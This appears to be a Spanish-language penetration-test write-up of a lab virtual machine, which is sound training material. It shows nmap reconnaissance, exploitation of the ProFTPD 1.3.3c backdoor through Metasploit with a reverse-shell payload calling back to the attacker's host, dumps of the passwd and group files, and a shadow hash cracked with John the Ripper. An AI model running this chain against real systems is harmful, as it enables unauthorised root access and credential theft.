

NMAP

```
(root@kali)-[/home/kali]
# nmap 10.0.2.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-25 05:31 EDT
Nmap scan report for 10.0.2.1
Host is up (0.000098s latency).
Not shown: 999 closed tcp ports (reset)
PORT      STATE SERVICE
53/tcp    open  domain
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for 10.0.2.2
Host is up (0.00063s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT      STATE SERVICE
135/tcp   open  msrpc
445/tcp   open  microsoft-ds
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for 10.0.2.3
Host is up (0.000056s latency).
All 1000 scanned ports on 10.0.2.3 are in ignored states.
Not shown: 1000 filtered tcp ports (proto-unreach)
MAC Address: 08:00:27:97:B5:41 (Oracle VirtualBox virtual NIC)

Nmap scan report for 10.0.2.12
Host is up (0.00019s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 08:00:27:E4:5B:92 (Oracle VirtualBox virtual NIC)

Nmap scan report for 10.0.2.11
Host is up (0.0000030s latency).
All 1000 scanned ports on 10.0.2.11 are in ignored states.
Not shown: 1000 closed tcp ports (reset)

Nmap done: 256 IP addresses (5 hosts up) scanned in 12.43 seconds
```

Nuestro objetivo es la direccion ip 10.0.2.12:

```
Nmap scan report for 10.0.2.12
Host is up (0.00019s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 08:00:27:E4:5B:92 (Oracle VirtualBox virtual NIC)
```

```
(root@kali)-[/home/kali]
# nmap -sV 10.0.2.12
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-25 05:32 EDT
Nmap scan report for 10.0.2.12
Host is up (0.000077s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      ProFTPD 1.3.3c
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:E4:5B:92 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.67 seconds
```

TCP

Puertos TCP:

```
21/tcp open  ftp      ProFTPD 1.3.3c
22/tcp open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http     Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:E4:5B:92 (Oracle VirtualBox virtual NIC)
```

Services

FTP

FTP localizado en la direccion ip analizada:

```
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      ProFTPD 1.3.3c
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu
```

SSH

SSH localizado en la direccion ip analizada:

```
21/tcp open  ftp      ProFTPD 1.3.3c
22/tcp open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http     Apache httpd 2.4.18 ((Ubuntu))
```

HTTP

HTTP localizado en la direccion ip analizada:

```
22/tcp open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http     Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:E4:5B:92 (Oracle VirtualBox virtual NIC)
```

Other

NMAP lanzado con script basado en vulnerabilidades:

```
(root@kali)-[/home/kali]
# nmap 10.0.2.12 --script=vuln
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-25 05:34 EDT
Nmap scan report for 10.0.2.12
Host is up (0.000096s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
| ftp-proftpd-backdoor:
|   This installation has been backdoored.
|   Command: id
|_  Results: uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
22/tcp    open  ssh
80/tcp    open  http
| http-slowloris-check:
|   VULNERABLE:
|   Slowloris DOS attack
|   State: LIKELY VULNERABLE
|   IDs: CVE:CVE-2007-6750
|   Slowloris tries to keep many connections to the target web server open and hold
|   them open as long as possible. It accomplishes this by opening connections to
|   the target web server and sending a partial request. By doing so, it starves
|   the http server's resources causing Denial Of Service.
|
|   Disclosure date: 2009-09-17
|   References:
|     http://ha.ckers.org/slowloris/
|_    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
|_  /secret/: Potentially interesting folder
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
MAC Address: 08:00:27:E4:5B:92 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 321.54 seconds
```

Exploitation

Service Exploited: FTP

Vulnerability Type: BACKDOOR

Exploit POC: exploit/unix/ftp/proftpd_133c_backdoor

Description:

ProFTPD-1.3.3c Backdoor Command Execution

Discovery of Vulnerability

Busqueda con msfconsole relacionada con la version del FTP en esta caso es la version:

ProFTPD-1.3.3c

```
msf6 > search ProFTPD 1.3.3c
```

Matching Modules

| # | Name | Disclosure Date | Rank | Check | Description |
|---|--|-----------------|-----------|-------|---|
| 0 | exploit/unix/ftp/proftpd_133c_backdoor | 2010-12-02 | excellent | No | ProFTPD-1.3.3c Backdoor Command Execution |

Interact with a module by name or index. For example `info 0`, `use 0` or `use exploit/unix/ftp/proftpd_133c_backdoor`

Exploit Code Used

```
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > show options
```

Module options (exploit/unix/ftp/proftpd_133c_backdoor):

| Name | Current Setting | Required | Description |
|--------|-----------------|----------|---|
| RHOSTS | | yes | The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit |
| RPORT | 21 | yes | The target port (TCP) |

Exploit target:

| Id | Name |
|----|-----------|
| 0 | Automatic |

Es necesario añadir la dirección objetivo con el siguiente comando:

```
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set RHOSTS 10.0.2.12
RHOSTS => 10.0.2.12
```

añadimos el payload para poder añadir nuestra dirección y así poder crear un backdoor:

```
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set PAYLOAD cmd/unix/reverse_perl
PAYLOAD => cmd/unix/reverse_perl
```

```
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set LHOST 10.0.2.11
LHOST => 10.0.2.11
```

una vez comencemos el exploit se producirá lo siguiente:

```

msf6 exploit(unix/ftp/proftpd_133c_backdoor) > run

[*] Started reverse TCP handler on 10.0.2.11:4444
[*] 10.0.2.12:21 - Sending Backdoor Command
[*] Command shell session 2 opened (10.0.2.11:4444 → 10.0.2.12:53068 ) at 2022-03-25 05:46:23 -0400

help

Meta shell commands
=====

Command      Description
-----
help          Help menu
background    Backgrounds the current shell session
sessions      Quickly switch to another session
resource      Run a meta commands script stored in a local file
shell         Spawn an interactive shell (*NIX Only)
download      Download files (*NIX Only)
upload        Upload files (*NIX Only)
source        Run a shell script on remote machine (*NIX Only)
irb           Open an interactive Ruby shell on the current session
pry           Open the Pry debugger on the current session

shell
[*] Trying to find binary 'python' on the target machine
[*] Found python at /usr/bin/python
[*] Using `python` to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash

root@vtcsec:/# ls
ls

```

Una vez lancemos el exploit podremos utilizar el comando help para ver los comandos que podremos realizar, en este caso hemos utilizado el comando shell para poder abrir una consola como administrador en la maquina objetivo.

Siendo root podremos obtener directamente los usuarios y contraseñas a traves de /etc/passwd o /etc/shadow, dumpearlos en un fichero para posteriormente romper el hash de las contraseña y poder acceder de formas diferentes a la maquina objetivo como podria ser por SSH o FTP.

Post Exploitation

Script Results

Una vez nos encontremos en posesion de la consola con privilegios de administrador podremos obtener informacionns ensibledel sistema commo podrian ser las contraseñas y los usuarios en el sistema:


```
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uidd:x:107:111::/run/uidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
marlinspike:x:1000:1000:marlinspike,,,:/home/marlinspike:/bin/bash
mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin
root@vtcsec:/#
```

Users & Groups

Users

```
root@vtcsec:/# cat passwd
cat passwd
cat: passwd: No such file or directory
root@vtcsec:/# cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uidd:x:107:111::/run/uidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
marlinspike:x:1000:1000:marlinspike,,,:/home/marlinspike:/bin/bash
mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin
root@vtcsec:/#
```

Groups

```
tape:x:26:
sudo:x:27:marlinspike
audio:x:29:pulse
dip:x:30:marlinspike
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow:x:42:
utmp:x:43:
video:x:44:
sasl:x:45:
plugdev:x:46:marlinspike
staff:x:50:
games:x:60:
users:x:100:
nogroup:x:65534:
systemd-journal:x:101:
systemd-timesync:x:102:
systemd-network:x:103:
systemd-resolve:x:104:
systemd-bus-proxy:x:105:
input:x:106:
crontab:x:107:
syslog:x:108:
netdev:x:109:
messagebus:x:110:
uidd:x:111:
ssl-cert:x:112:
lpadmin:x:113:marlinspike
lightdm:x:114:
nopasswdlogin:x:115:
ssh:x:116:
whoopsie:x:117:
mlocate:x:118:
avahi-autoipd:x:119:
avahi:x:120:
bluetooth:x:121:
scanner:x:122:saned
colord:x:123:
pulse:x:124:
pulse-access:x:125:
rtkit:x:126:
saned:x:127:
marlinspike:x:1000:
smbashare:x:128:marlinspike
mysql:x:129:
root@vtcsec:/#
```


Network

IPConfig\IFConfig

```
root@vtcsec:/# ifconfig
ifconfig
enp0s3      Link encap:Ethernet  HWaddr 08:00:27:e4:5b:92
            inet addr:10.0.2.12  Bcast:10.0.2.255  Mask:255.255.255.0
            inet6 addr: fe80::4962:ad86:4c27:b137/64 Scope:Link
            UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
            RX packets:194 errors:0 dropped:0 overruns:0 frame:0
            TX packets:243 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:1000
            RX bytes:27463 (27.4 KB)  TX bytes:30135 (30.1 KB)

lo          Link encap:Local Loopback
            inet addr:127.0.0.1  Mask:255.0.0.0
            inet6 addr: ::1/128 Scope:Host
            UP LOOPBACK RUNNING  MTU:65536  Metric:1
            RX packets:206 errors:0 dropped:0 overruns:0 frame:0
            TX packets:206 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:1000
            RX bytes:16039 (16.0 KB)  TX bytes:16039 (16.0 KB)

root@vtcsec:/#
```

Network Processes

```

root@vtcsec:/# netstat
netstat
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      124 10.0.2.12:51004         10.0.2.11:4444         ESTABLISHED

Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags   Type       State       I-Node  Path
unix    2      [ ]   DGRAM          19816   /run/user/108/systemd/notify
unix    3      [ ]   DGRAM          1641    /run/systemd/notify
unix    2      [ ]   DGRAM          1643    /run/systemd/cgroups-agent
unix    7      [ ]   DGRAM          1659    /run/systemd/journal/socket
unix    2      [ ]   DGRAM          1718    /run/systemd/journal/syslog
unix   14      [ ]   DGRAM          1720    /run/systemd/journal/dev-log
unix    3      [ ]   STREAM        CONNECTED 17164    /var/run/dbus/system_bus_socket
unix    3      [ ]   STREAM        CONNECTED 20260
unix    3      [ ]   STREAM        CONNECTED 18391
unix    3      [ ]   STREAM        CONNECTED 14664    /run/systemd/journal/stdout
unix    3      [ ]   STREAM        CONNECTED 19893
unix    2      [ ]   STREAM        CONNECTED 21332
unix    3      [ ]   STREAM        CONNECTED 18167    @/tmp/dbus-yyV4fYb5DB
unix    3      [ ]   STREAM        CONNECTED 18008    @/tmp/dbus-yyV4fYb5DB
unix    3      [ ]   STREAM        CONNECTED 20069    @/tmp/dbus-yyV4fYb5DB
unix    3      [ ]   STREAM        CONNECTED 17163
unix    3      [ ]   STREAM        CONNECTED 20298
unix    3      [ ]   STREAM        CONNECTED 18276
unix    3      [ ]   STREAM        CONNECTED 13538
unix    3      [ ]   STREAM        CONNECTED 18984
unix    3      [ ]   STREAM        CONNECTED 18007
unix    3      [ ]   STREAM        CONNECTED 18039
unix    3      [ ]   STREAM        CONNECTED 20261    /var/run/dbus/system_bus_socket
unix    2      [ ]   DGRAM          19801
unix    3      [ ]   STREAM        CONNECTED 21714
unix    3      [ ]   STREAM        CONNECTED 22211    /run/systemd/journal/stdout
unix    3      [ ]   STREAM        CONNECTED 20322    /run/systemd/journal/stdout
unix    3      [ ]   STREAM        CONNECTED 21329
unix    3      [ ]   STREAM        CONNECTED 20303
unix    3      [ ]   STREAM        CONNECTED 19892
unix    3      [ ]   STREAM        CONNECTED 20753
unix    3      [ ]   STREAM        CONNECTED 18187    @/tmp/.X11-unix/X0
unix    2      [ ]   DGRAM          19804
unix    3      [ ]   STREAM        CONNECTED 15458    /run/systemd/journal/stdout
unix    3      [ ]   STREAM        CONNECTED 20068
unix    3      [ ]   STREAM        CONNECTED 17236
unix    3      [ ]   STREAM        CONNECTED 18181    /run/user/108/pulse/native
unix    3      [ ]   STREAM        CONNECTED 19906
unix    3      [ ]   STREAM        CONNECTED 17237    /run/systemd/journal/stdout
unix    3      [ ]   STREAM        CONNECTED 20305    /var/run/dbus/system_bus_socket
unix    3      [ ]   DGRAM          13680
unix    3      [ ]   STREAM        CONNECTED 19859

```

ARP

```

root@vtcsec:/# arp -a
arp -a
? (10.0.2.3) at 08:00:27:61:f7:93 [ether] on enp0s3
? (10.0.2.1) at 52:54:00:12:35:00 [ether] on enp0s3
? (10.0.2.11) at 08:00:27:dd:8d:e3 [ether] on enp0s3
root@vtcsec:/#

```

Goodies

Hashes

El usuario marlinspike tiene una contraseña hasheada:

```
usbmux.*:17379:0:99999:7:::  
marlinspike:$6$qB5nV3T$xB2W0/j0kbn4t1RUILrckw69LR/0EMtUbFFCYpM3MUHVmtYyW9.ov/aszTpWhLaC2*6Fvy5tpUUXQbUhCKbl4/:17484  
:0:99999:7:::  
mve91:1:17486:0:00000:7:::
```

Passwords

Se ha añadido la contraseña hasheada del usuario mrelinspike a un fichero, la contraseña hasheada ha sido crackeada con john the ripper dejando expuesta la contraseña como se puede ver en la siguiente imagen:

```
(kali㉿kali)-[~/Desktop]  
$ john hash1.txt  
Using default input encoding: UTF-8  
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])  
Cost 1 (iteration count) is 5000 for all loaded hashes  
Will run 4 OpenMP threads  
Proceeding with single, rules:Single  
Press 'q' or Ctrl-C to abort, almost any other key for status  
marlinspike (marlinspike)  
1g 0:00:00:00 DONE 1/3 (2022-03-25 05:55) 50.00g/s 800.0p/s 800.0c/s 800.0C/s marlinspike..marlinspike4  
Use the "--show" option to display all of the cracked passwords reliably  
Session completed.  
  
(kali㉿kali)-[~/Desktop]  
$ john -show hash1.txt  
marlinspike:marlinspike:17484:0:99999:7:::  
  
1 password hash cracked, 0 left
```

Usuario: marlinspike

Contraseña: marlinspike